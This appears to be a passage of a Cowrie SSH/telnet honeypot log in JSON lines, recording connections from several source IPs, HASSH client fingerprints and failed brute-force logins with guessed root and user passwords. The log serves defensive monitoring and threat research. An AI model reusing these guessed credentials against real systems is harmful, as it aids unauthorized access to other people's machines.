af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:51.174273Z","src_ip":"125.21.53.232","session":"ecf80af60d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2022","message":"login attempt [root/qwer@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:51.966626Z","src_ip":"125.21.53.232","session":"ecf80af60d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:53.159473Z","src_ip":"125.21.53.232","session":"ecf80af60d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":34748,"dst_ip":"159.203.135.109","dst_port":22,"session":"def7dbb658d0","protocol":"ssh","message":"New connection: 143.198.221.127:34748 (159.203.135.109:22) [session: def7dbb658d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:53.670774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:53.676472Z","src_ip":"143.198.221.127","session":"def7dbb658d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:53.930328Z","src_ip":"143.198.221.127","session":"def7dbb658d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aaA","message":"login attempt [root/123456aaA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:54.976565Z","src_ip":"143.198.221.127","session":"def7dbb658d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44766,"dst_ip":"159.203.135.109","dst_port":23,"session":"a56b0845b4cd","protocol":"telnet","message":"New connection: 69.4.83.194:44766 (159.203.135.109:23) [session: a56b0845b4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:56.230976Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:56.237129Z","src_ip":"143.198.221.127","session":"def7dbb658d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47420,"dst_ip":"159.203.135.109","dst_port":23,"session":"6461fc041d06","protocol":"telnet","message":"New connection: 69.4.83.194:47420 (159.203.135.109:23) [session: 6461fc041d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:01.912403Z"}
{"eventid":"cowrie.session.closed","duration":25.851335287094116,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:08.130692Z","src_ip":"79.139.59.21","session":"a01fb1001952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":46348,"dst_ip":"159.203.135.109","dst_port":22,"session":"c08bbb96000e","protocol":"ssh","message":"New connection: 103.148.100.146:46348 (159.203.135.109:22) [session: c08bbb96000e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:26.055322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:26.064881Z","src_ip":"103.148.100.146","session":"c08bbb96000e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:26.337395Z","src_ip":"103.148.100.146","session":"c08bbb96000e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123#@!","message":"login attempt [root/Admin123#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:27.447648Z","src_ip":"103.148.100.146","session":"c08bbb96000e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.18086242675781,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:28.411718Z","src_ip":"69.4.83.194","session":"a56b0845b4cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:28.719663Z","src_ip":"103.148.100.146","session":"c08bbb96000e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58716,"dst_ip":"159.203.135.109","dst_port":23,"session":"af286fa31248","protocol":"telnet","message":"New connection: 69.4.83.194:58716 (159.203.135.109:23) [session: af286fa31248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:30.990417Z"}
{"eventid":"cowrie.session.closed","duration":34.65146493911743,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:36.563696Z","src_ip":"69.4.83.194","session":"6461fc041d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":59178,"dst_ip":"159.203.135.109","dst_port":22,"session":"57fa2ff8ec88","protocol":"ssh","message":"New connection: 125.21.53.232:59178 (159.203.135.109:22) [session: 57fa2ff8ec88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:38.629419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:38.634562Z","src_ip":"125.21.53.232","session":"57fa2ff8ec88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:38.834899Z","src_ip":"125.21.53.232","session":"57fa2ff8ec88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234567890qwertyuiop","message":"login attempt [deploy/1234567890qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:39.660713Z","src_ip":"125.21.53.232","session":"57fa2ff8ec88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":41232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a94aa4cddc08","protocol":"ssh","message":"New connection: 69.6.221.248:41232 (159.203.135.109:22) [session: a94aa4cddc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:40.227388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:40.232851Z","src_ip":"69.6.221.248","session":"a94aa4cddc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:40.346799Z","src_ip":"69.6.221.248","session":"a94aa4cddc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2022","message":"login attempt [root/qwer@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:40.835335Z","src_ip":"69.6.221.248","session":"a94aa4cddc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:40.861438Z","src_ip":"125.21.53.232","session":"57fa2ff8ec88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:41.953763Z","src_ip":"69.6.221.248","session":"a94aa4cddc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34326,"dst_ip":"159.203.135.109","dst_port":23,"session":"e14cf218181a","protocol":"telnet","message":"New connection: 69.4.83.194:34326 (159.203.135.109:23) [session: e14cf218181a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:42.220525Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":45374,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f96cd20354f","protocol":"ssh","message":"New connection: 193.228.128.84:45374 (159.203.135.109:22) [session: 0f96cd20354f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:56.597090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:56.602221Z","src_ip":"193.228.128.84","session":"0f96cd20354f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:56.709114Z","src_ip":"193.228.128.84","session":"0f96cd20354f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nariman","message":"login attempt [root/nariman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:57.027990Z","src_ip":"193.228.128.84","session":"0f96cd20354f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:01:58.133965Z","src_ip":"193.228.128.84","session":"0f96cd20354f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.632097244262695,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:04.622385Z","src_ip":"69.4.83.194","session":"af286fa31248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27455258369446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:16.494931Z","src_ip":"69.4.83.194","session":"e14cf218181a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":38136,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd1b5de53b7a","protocol":"ssh","message":"New connection: 167.172.174.185:38136 (159.203.135.109:22) [session: fd1b5de53b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.130103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.135451Z","src_ip":"167.172.174.185","session":"fd1b5de53b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.218141Z","src_ip":"167.172.174.185","session":"fd1b5de53b7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":32804,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f202c5eac4","protocol":"ssh","message":"New connection: 125.21.53.232:32804 (159.203.135.109:22) [session: e1f202c5eac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.487128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.492176Z","src_ip":"125.21.53.232","session":"e1f202c5eac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"june","password":"june","message":"login attempt [june/june] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.606425Z","src_ip":"167.172.174.185","session":"fd1b5de53b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:21.690681Z","src_ip":"125.21.53.232","session":"e1f202c5eac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123#@!","message":"login attempt [root/Admin123#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:22.518456Z","src_ip":"125.21.53.232","session":"e1f202c5eac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:22.706476Z","src_ip":"167.172.174.185","session":"fd1b5de53b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:23.720488Z","src_ip":"125.21.53.232","session":"e1f202c5eac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":60448,"dst_ip":"159.203.135.109","dst_port":22,"session":"474cf76c7370","protocol":"ssh","message":"New connection: 4.194.4.255:60448 (159.203.135.109:22) [session: 474cf76c7370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:24.668784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:02:24.673863Z","src_ip":"4.194.4.255","session":"474cf76c7370","protocol":"ssh"}
